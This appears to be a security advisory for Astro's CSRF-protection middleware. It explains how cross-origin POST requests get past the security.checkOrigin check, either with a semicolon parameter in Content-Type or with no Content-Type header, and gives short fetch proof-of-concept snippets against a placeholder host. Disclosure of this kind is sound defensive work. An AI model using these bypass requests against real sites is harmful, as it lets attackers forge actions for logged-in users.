- "details": "### Summary\n\nA bug in Astro’s CSRF-protection middleware allows requests to bypass CSRF checks.\n\n### Details\n\nWhen the `security.checkOrigin` configuration option is set to `true`, Astro middleware will perform a CSRF check. (Source code: https://github.com/withastro/astro/blob/6031962ab5f56457de986eb82bd24807e926ba1b/packages/astro/src/core/app/middlewares.ts)\n\nFor example, with the following Astro configuration:\n\n```js\n// astro.config.mjs\nimport { defineConfig } from 'astro/config';\nimport node from '@astrojs/node';\n\nexport default defineConfig({\n\toutput: 'server',\n\tsecurity: { checkOrigin: true },\n\tadapter: node({ mode: 'standalone' }),\n});\n```\n\nA request like the following would be blocked if made from a different origin:\n\n```js\n// fetch API or <form action=\"https://test.example.com/\" method=\"POST\">\nfetch('https://test.example.com/', {\n\tmethod: 'POST',\n\tcredentials: 'include',\n\tbody: 'a=b',\n\theaders: { 'Content-Type': 'application/x-www-form-urlencoded' },\n});\n// => Cross-site POST form submissions are forbidden\n```\n\nHowever, a vulnerability exists that can bypass this security.\n\n#### Pattern 1: Requests with a semicolon after the `Content-Type`\n\nA semicolon-delimited parameter is allowed after the type in `Content-Type`.\n\nWeb browsers will treat a `Content-Type` such as `application/x-www-form-urlencoded; abc` as a [simple request](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) and will not perform preflight validation. In this case, CSRF is not blocked as expected.\n\n```js\nfetch('https://test.example.com', {\n\tmethod: 'POST',\n\tcredentials: 'include',\n\tbody: 'test',\n\theaders: { 'Content-Type': 'application/x-www-form-urlencoded; abc' },\n});\n// => Server-side functions are executed (Response Code 200).\n```\n\n#### Pattern 2: Request without `Content-Type` header\n\nThe `Content-Type` header is not required for a request. The following examples are sent without a `Content-Type` header, resulting in CSRF.\n\n```js\n// Pattern 2.1 Request without body\nfetch('http://test.example.com', { method: 'POST', credentials: 'include' });\n\n// Pattern 2.2 Blob object without type\nfetch('https://test.example.com', {\n\tmethod: 'POST',\n\tcredentials: 'include',\n\tbody: new Blob(['a=b'], {}),\n});\n```\n\n### Impact\n\nBypass CSRF protection implemented with CSRF middleware.\n\n> [!Note]\n> Even with `credentials: 'include'`, browsers may not send cookies due to third-party cookie blocking. This feature depends on the browser version and settings, and is for privacy protection, not as a CSRF measure.\n",
0 commit comments